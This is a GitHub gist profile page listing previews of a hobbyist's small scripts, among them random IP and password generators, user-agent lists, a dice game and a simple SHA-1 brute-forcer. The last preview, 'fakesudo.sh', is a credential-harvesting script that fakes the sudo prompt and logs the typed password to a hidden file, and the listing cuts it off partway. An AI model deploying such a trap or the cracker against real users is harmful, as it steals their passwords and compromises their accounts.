Skip to content

Instantly share code, notes, and snippets.

View ksaver's full-sized avatar

ksaver freakov ksaver

  • localhost
  • 127.0.0.1
View GitHub Profile
@ksaver
ksaver / random_ip_address.py
Created April 15, 2023 19:40
Generate random IP addresses.
#!/usr/bin/env python
import argparse
import random
def generate_random_ip_addresses(num_addresses):
addresses = []
for i in range(num_addresses):
address = '.'.join(str(random.randint(0, 255)) for _ in range(4))
addresses.append(address)
return addresses
@ksaver
ksaver / common_user_agents.txt
Created August 23, 2020 20:07
Most Common User-Agents, Ago 2020
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Mozilla/5.0 (Windows NT 10.0; Win64; x64)
#!/usr/bin/env python3
#
# simple_dice_game.py
# Simple example of a dice game
#
from random import randint
from time import sleep
from os import system
def head(text):
@ksaver
ksaver / simple_dice_game.py
Created May 29, 2020 13:21
Simple example of a dice game
#!/usr/bin/env python3
#
# simple_dice_game.py
# Simple example of a dice game
#
from random import randint
from time import sleep
from os import system
def head(text):
@ksaver
ksaver / sha1_cracker.py
Created May 26, 2020 11:00
Simple bruteforce a sha-1 hash
# created under the alias noobcøder @sololearn
# https://code.sololearn.com/cpZmxS2B8657/#py
import hashlib
import string
import itertools
def bruteforce(hash_string):
charset = string.ascii_lowercase
clearpwd = ''
pwlen = 4
@ksaver
ksaver / random_passwd.sh
Created May 26, 2020 10:22
Generate random passwords from bash command line.
# Generate random passwords from bash command line.
function random_passwd() {
LENGHT=${1:-16}
cat /dev/urandom |tr -dc 'A-Za-z0-9@#$%&()=-_?!+*{[]}' \
| fold -w $LENGHT \
| head -n 3 # shows 3 passwords
echo
}
random_passwd 24 # 24 characters long password
@ksaver
ksaver / random_user_agent.py
Created May 22, 2020 01:33
Get a random User-Agent, for using in HTTP requests..
#!/usr/bin/env python
# random_user_agent.py
from random import choice
user_agents = [
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36",
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36",
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0",
@ksaver
ksaver / clifu.py
Last active May 22, 2020 01:15
Get a random command line tip from commandlinefu.com
#! /usr/bin/env python3
# clify.py
# get a random command line tip from commandlinefu.com
# usage:
# chmod +x clifu.py
# ./clifu.py
# python 2 or 3
import requests
try:
# Created by me, under the alias "noobcoder" in Sololearn.com
# https://www.sololearn.com/Profile/5439366
# Example of Python code to
# print some simple symmetric shapes
# using "X" and spaces.
def xprint(x, line_width=40):
spaces = (line_width - x) // 2
print(" " * spaces + "X" * x +
@ksaver
ksaver / fakesudo.sh
Created May 15, 2019 03:42
catch the user password by shadowing the sudo command
#!/bin/bash
#
# fakesudo.sh
# catch the user password by shadowing the sudo command
cat << EOF > ~/.sudo
echo -n "[sudo] password for \$USER: "
read -s PASSWORD
echo "\$USER:\$PASSWORD" >> ~/.pw
sleep 0.5